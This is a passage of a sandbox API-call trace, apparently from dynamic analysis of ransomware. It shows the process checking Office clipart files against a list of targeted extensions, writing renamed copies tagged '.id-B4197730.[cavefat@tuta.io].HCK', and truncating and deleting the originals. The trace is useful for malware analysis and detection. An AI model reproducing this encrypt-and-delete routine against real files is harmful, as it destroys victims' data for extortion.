(hFile=0x548) returned 1 [0233.891] CloseHandle (hObject=0x548) returned 1 [0233.891] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.891] SetEndOfFile (hFile=0x4cc) returned 1 [0233.893] CloseHandle (hObject=0x4cc) returned 1 [0233.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0233.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.894] lstrlenW (lpString=".doc") returned 4 [0233.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.894] lstrlenW (lpString=".docx") returned 5 [0233.894] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.894] lstrlenW (lpString=".pdf") returned 4 [0233.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.894] lstrlenW (lpString=".xls") returned 4 [0233.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.894] lstrlenW (lpString=".xlsx") returned 5 [0233.894] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.894] lstrlenW (lpString=".ppt") returned 4 [0233.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.894] lstrlenW (lpString=".zip") returned 4 [0233.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.894] lstrlenW (lpString=".rar") returned 4 [0233.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.894] lstrlenW (lpString=".bz2") returned 4 [0233.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.894] lstrlenW (lpString=".7z") returned 3 [0233.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.894] lstrlenW (lpString=".dbf") returned 4 [0233.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.895] lstrlenW (lpString=".1cd") returned 4 [0233.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.895] lstrlenW (lpString=".jpg") returned 4 [0233.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.895] lstrlenW (lpString=".doc") returned 4 [0233.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString=".docx") returned 5 [0233.895] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0233.895] lstrlenW (lpString=".pdf") returned 4 [0233.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString=".xls") returned 4 [0233.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.895] lstrlenW (lpString=".xlsx") returned 5 [0233.895] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0233.895] lstrlenW (lpString=".ppt") returned 4 [0233.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.895] lstrlenW (lpString=".zip") returned 4 [0233.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.895] lstrlenW (lpString=".rar") returned 4 [0233.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString=".bz2") returned 4 [0233.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString=".7z") returned 3 [0233.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.895] lstrlenW (lpString=".dbf") returned 4 [0233.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.895] lstrlenW (lpString=".1cd") returned 4 [0233.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0233.895] lstrlenW (lpString=".jpg") returned 4 [0233.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.895] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.895] lstrlenW (lpString="J0107282.WMF") returned 12 [0233.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.896] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=14132) returned 1 [0233.896] CloseHandle (hObject=0x4cc) returned 1 [0233.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220 [0233.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.897] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.897] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.897] GetLastError () returned 0x0 [0233.897] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3734, lpOverlapped=0x0) returned 1 [0233.899] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3740, lpOverlapped=0x0) returned 1 [0233.900] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.900] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.900] SetEndOfFile (hFile=0x548) returned 1 [0233.900] CloseHandle (hObject=0x548) returned 1 [0233.900] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.900] SetEndOfFile (hFile=0x4cc) returned 1 [0233.902] CloseHandle (hObject=0x4cc) returned 1 [0233.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0233.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.903] lstrlenW (lpString=".doc") returned 4 [0233.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.903] lstrlenW (lpString=".docx") returned 5 [0233.903] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.903] lstrlenW (lpString=".pdf") returned 4 [0233.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.903] lstrlenW (lpString=".xls") returned 4 [0233.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.904] lstrlenW (lpString=".xlsx") returned 5 [0233.904] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.904] lstrlenW (lpString=".ppt") returned 4 [0233.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString=".zip") returned 4 [0233.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.904] lstrlenW (lpString=".rar") returned 4 [0233.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString=".bz2") returned 4 [0233.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString=".7z") returned 3 [0233.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString=".dbf") returned 4 [0233.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString=".1cd") returned 4 [0233.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString=".jpg") returned 4 [0233.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString=".doc") returned 4 [0233.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString=".docx") returned 5 [0233.904] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.904] lstrlenW (lpString=".pdf") returned 4 [0233.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString=".xls") returned 4 [0233.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.904] lstrlenW (lpString=".xlsx") returned 5 [0233.904] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.904] lstrlenW (lpString=".ppt") returned 4 [0233.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString=".zip") returned 4 [0233.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.904] lstrlenW (lpString=".rar") returned 4 [0233.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString=".bz2") returned 4 [0233.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString=".7z") returned 3 [0233.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString=".dbf") returned 4 [0233.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.904] lstrlenW (lpString=".1cd") returned 4 [0233.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0233.905] lstrlenW (lpString=".jpg") returned 4 [0233.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.905] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.905] lstrlenW (lpString="J0107288.WMF") returned 12 [0233.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.905] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=13436) returned 1 [0233.905] CloseHandle (hObject=0x4cc) returned 1 [0233.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220 [0233.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0233.906] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.906] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.906] GetLastError () returned 0x0 [0233.906] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x347c, lpOverlapped=0x0) returned 1 [0234.266] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3480, lpOverlapped=0x0) returned 1 [0234.267] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0234.267] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0234.267] SetEndOfFile (hFile=0x548) returned 1 [0234.267] CloseHandle (hObject=0x548) returned 1 [0234.267] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.267] SetEndOfFile (hFile=0x4cc) returned 1 [0234.269] CloseHandle (hObject=0x4cc) returned 1 [0234.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0234.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.271] lstrlenW (lpString=".doc") returned 4 [0234.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.271] lstrlenW (lpString=".docx") returned 5 [0234.271] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.271] lstrlenW (lpString=".pdf") returned 4 [0234.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.271] lstrlenW (lpString=".xls") returned 4 [0234.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.271] lstrlenW (lpString=".xlsx") returned 5 [0234.271] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.271] lstrlenW (lpString=".ppt") returned 4 [0234.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.271] lstrlenW (lpString=".zip") returned 4 [0234.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.271] lstrlenW (lpString=".rar") returned 4 [0234.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.271] lstrlenW (lpString=".bz2") returned 4 [0234.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.271] lstrlenW (lpString=".7z") returned 3 [0234.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.271] lstrlenW (lpString=".dbf") returned 4 [0234.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.271] lstrlenW (lpString=".1cd") returned 4 [0234.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.271] lstrlenW (lpString=".jpg") returned 4 [0234.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.272] lstrlenW (lpString=".doc") returned 4 [0234.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.272] lstrlenW (lpString=".docx") returned 5 [0234.272] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.272] lstrlenW (lpString=".pdf") returned 4 [0234.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.272] lstrlenW (lpString=".xls") returned 4 [0234.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.272] lstrlenW (lpString=".xlsx") returned 5 [0234.272] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.272] lstrlenW (lpString=".ppt") returned 4 [0234.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.272] lstrlenW (lpString=".zip") returned 4 [0234.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.272] lstrlenW (lpString=".rar") returned 4 [0234.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.272] lstrlenW (lpString=".bz2") returned 4 [0234.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.272] lstrlenW (lpString=".7z") returned 3 [0234.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.272] lstrlenW (lpString=".dbf") returned 4 [0234.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.272] lstrlenW (lpString=".1cd") returned 4 [0234.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0234.272] lstrlenW (lpString=".jpg") returned 4 [0234.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.272] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.272] lstrlenW (lpString="J0107358.WMF") returned 12 [0234.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.274] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7964) returned 1 [0234.274] CloseHandle (hObject=0x4cc) returned 1 [0234.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220 [0234.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.274] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.275] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0234.275] GetLastError () returned 0x0 [0234.275] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1f1c, lpOverlapped=0x0) returned 1 [0234.277] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1f20, lpOverlapped=0x0) returned 1 [0234.277] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0234.277] WriteFile (in: hFile=0x548, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0234.277] SetEndOfFile (hFile=0x548) returned 1 [0234.278] CloseHandle (hObject=0x548) returned 1 [0234.278] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.278] SetEndOfFile (hFile=0x4cc) returned 1 [0234.280] CloseHandle (hObject=0x4cc) returned 1 [0234.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.280] DeleteFileW 